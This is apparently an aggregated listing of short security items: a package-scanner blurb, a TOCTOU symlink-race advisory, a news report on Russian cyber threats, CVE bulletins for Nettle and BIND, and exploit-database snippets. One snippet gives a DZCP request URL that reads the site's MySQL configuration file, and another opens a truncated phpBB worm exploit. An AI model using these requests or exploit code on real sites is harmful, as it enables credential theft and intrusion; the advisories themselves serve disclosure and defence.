pkgxray

pkgxray — pre-install security for npm packages, MCP servers, and AI agents Inspect an npm package or MCP server before you install or connect to it, and get a deterministic, evidence-backed SAFE, REVIEW, or BLOCK verdict. Local, zero-dependency static analysis — normal scans never execute packag...

install: TOCTOU symlink race (unlink-then-create without O_EXCL) allows arbitrary file overwrite

copyfile in install/src/install.rs removes the destination then recreates it by pathname via File::create / fs::copy without OEXCL/createnew. Between the unlink and the recreate, a local attacker with write access to the destination directory can drop in a symlink and redirect the write. Impact:...

White House urges US businesses: Protect against potential Russian cyberattacks

On Monday, the White House told US business leaders to toughen up their cybersecurity defenses against a potential cyberattack from Russia. "The Biden-Harris Administration has warned repeatedly about the potential for Russia to engage in malicious cyber activity against the United States in...

ROS-2-1890

2.1890 Nettle library vulnerabilityCVE-2021-20305 1. Vulnerability Description: A vulnerability in the Nettle library that involves the use of a failed cryptographic algorithm and allows a remote unauthenticated attacker to execute arbitrary code.Identifier of the Information Security Threats Dat...

ROS-2-1876

2.1876 Multiple vulnerabilities in ISC BIND CVE-2021-25216, CVE-2021-25215, CVE-2021-25214 1. Vulnerability Description: CVE-2021-25216 A vulnerability exists due to a boundary error in the GSS-TSIG extension. A remote attacker can send specially crafted requests to the server, trigger a buffer...

DZCP (Devilz Clanportal) <= 1.4.5 Mysql Data viewable

DZCP Devilz Clanportal = 1.4.5 Mysql Data viewable Found by: Kiba Solution: Install security Fix! Exploit: http://SITE/PATH/inc/filebrowser/browser.php?file=inc/mysql.php Example: http://www.example.com/dzcp/inc/filebrowser/browser.php?file=inc/mysql.php...

phpBB <= 2.0.10 Bot Install (Altavista) (ssh.D.Worm)

Exploit for unknown platform in category web applications ==================================================== phpBB / $ae= s//$1/; $uber=$1; $uber = s/ //g; $uber = s///g; $uber = s///g; $uber = s/wb...